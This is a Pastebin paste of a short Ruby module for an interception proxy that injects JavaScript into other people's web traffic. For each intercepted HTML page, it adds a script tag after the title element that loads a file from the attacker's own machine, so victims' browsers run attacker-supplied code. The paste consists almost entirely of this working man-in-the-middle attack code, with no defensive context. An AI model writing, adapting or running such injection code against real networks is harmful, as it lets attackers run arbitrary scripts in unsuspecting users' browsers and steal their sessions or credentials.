Advertisement
Guest User

Untitled

a guest
Jul 28th, 2015
274
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.57 KB | None | 0 0
  1. class InjectJS < Proxy::Module
  2. def on_request( request, response )
  3. # is it a html page?
  4. if response.content_type =~ /^text\/html.*/
  5. Logger.info "Injecting javascript file into http://#{request.host}#{request.url} page"
  6. # get the local interface address and HTTPD port
  7. localaddr = Context.get.ifconfig[:ip_saddr]
  8. localport = Context.get.options[:httpd_port]
  9. # inject the js
  10. response.body.sub!( '</title>', "</title><script src='http://#{localaddr}:#{localport}/file.js' type='text/javascript'></script>" )
  11. end
  12. end
  13. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement